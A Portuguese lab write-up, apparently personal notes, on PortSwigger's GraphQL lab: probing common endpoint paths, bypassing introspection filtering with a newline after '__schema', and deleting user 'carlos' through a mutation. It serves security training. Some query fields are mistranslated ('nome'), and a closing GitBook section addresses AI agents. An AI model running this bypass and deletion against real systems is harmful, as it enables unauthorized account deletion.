> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/graphql/graphql-cached-endpoint-discovery.md).

# Descoberta de endpoint em cache do GraphQL

Anotações sobre Descoberta de endpoint em cache do GraphQL para os laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, testes de payloads, validação no Burp Suite e contexto de remediação.

### Encontrando um endpoint GraphQL oculto

**Contexto do Laboratório**

Os recursos de gerenciamento de usuários deste laboratório são baseados em um GraphQL **oculto** endpoint. / Não é possível descobrir isso simplesmente navegando pelo site, e **PlotQL** mecanismos de defesa estão em vigor.

**Objetivo:**

* Identificar endpoint GraphQL oculto
* Excluir usuário **carlos**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb49bb7f6974edc0d89d671240d5451b76e08f12%2F%7B7B7755F0-1391-4EA8-AFFE-5575F196C609%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Reconhecimento inicial**

Ao navegar normalmente pela aplicação, nenhum indício visível revela o uso de GraphQL. / Portanto, é necessário testar manualmente os caminhos GraphQL mais comuns.

**Testando rotas GraphQL comuns**

As seguintes rotas são testadas

```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```

A rota **`/api`** responde com a seguinte mensagem:

```bash
"Query not present"
```

Isso indica claramente a presença de um endpoint GraphQL ativo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e865a386d0b7840e47d6b8d7e7b102cd67e078ca%2F%7BCDFC045F-E196-429C-97E0-31B3EF5A9190%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Verificação da filtragem de introspecção**

Uma solicitação simples de introspecção é enviada via URL:

```bash
api?query={__schema{types{name}}}
```

Resposta do servidor:

`A introspecção GraphQL não é permitida, mas a consulta continha __schema ou __type`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4735fe226d529da770b677338de10bcf1b568eb%2F%7BB2D6713E-D711-426A-89D7-833C9A581C30%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O mesmo bloqueio ocorre ao enviar uma solicitação completa de introspecção via Burp ou GraphiQL.

{% code overflow="wrap" %}

```bash
query IntrospectionQuery {
    __schema {
        queryType {
            nome
        }
        mutationType {
            nome
        }
        subscriptionType {
            nome
        }
        types {
            ...FullType
        }
        directives {
            nome
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    nome
    description
    fields(includeDeprecated: true) {
        nome
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        nome
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    nome
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    nome
    ofType {
        kind
        nome
        ofType {
            kind
            nome
            ofType {
                kind
                nome
            }
        }
    }
}
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e39e6e073f957e8cf5f306c410ac7f3de74b66da%2F%7B49FFC8B7-B8D7-4FCA-AF44-0E83D2555692%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Contornando o bloqueio de introspecção**

Para contornar a filtragem baseada em palavras-chave `__schema` e `__type`, uma **quebra de linha** é adicionada antes da chave de abertura:

```graphql
__schema
     {
```

Essa pequena modificação permite que a solicitação seja aceita e processada pelo servidor.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05a20008a08fba9b0c3861686e0796366cd885bd%2F%7B3C57BF1F-0427-4631-842C-A5A979D02905%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise do diagrama GraphQL**

Uma vez que a introspecção é aceita, as solicitações descobertas são enviadas para **sitemap** para serem analisadas mais facilmente.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba33f8ddfdb23f07a234154e39813cf9ed2e4048%2F%7B78F1AC95-71FB-4567-A71A-A6C009C9C7DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Duas solicitações importantes são identificadas.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-831817fbab3750fdb8660d57b8321af023a38a67%2F%7BE565331A-0232-46D7-9169-A079C11F3C8F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Recuperação de um usuário por ID**

Solicitação para obter o nome de usuário a partir do seu identificador:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    nome de usuário
  }
}
```

Ao fornecer o seguinte ID:

```json
{
    "id":3
}
```

É identificado que o usuário com o ID **3** corresponde a **carlos**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-998111f8e3a990548f5255e41a8ba4ae10b1fd2b%2F%7BECA5D49B-79B2-4930-A0DE-2D3A89D84B8B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exclusão do usuário carlos**

Uma transferência remove um usuário da organização:

```graphql
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      id
      nome de usuário
    }
  }
}
```

Payload usado:

```graphql
{
  "input": {
    "id": 3
  }
}
```

O usuário **carlos** é então excluído com sucesso.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-837b38050f1e6f9afc59abfa21903c249be4fa03%2F%7B166EBBF3-2428-4BF1-B444-A723BC4D058E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/graphql/graphql-cached-endpoint-discovery.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
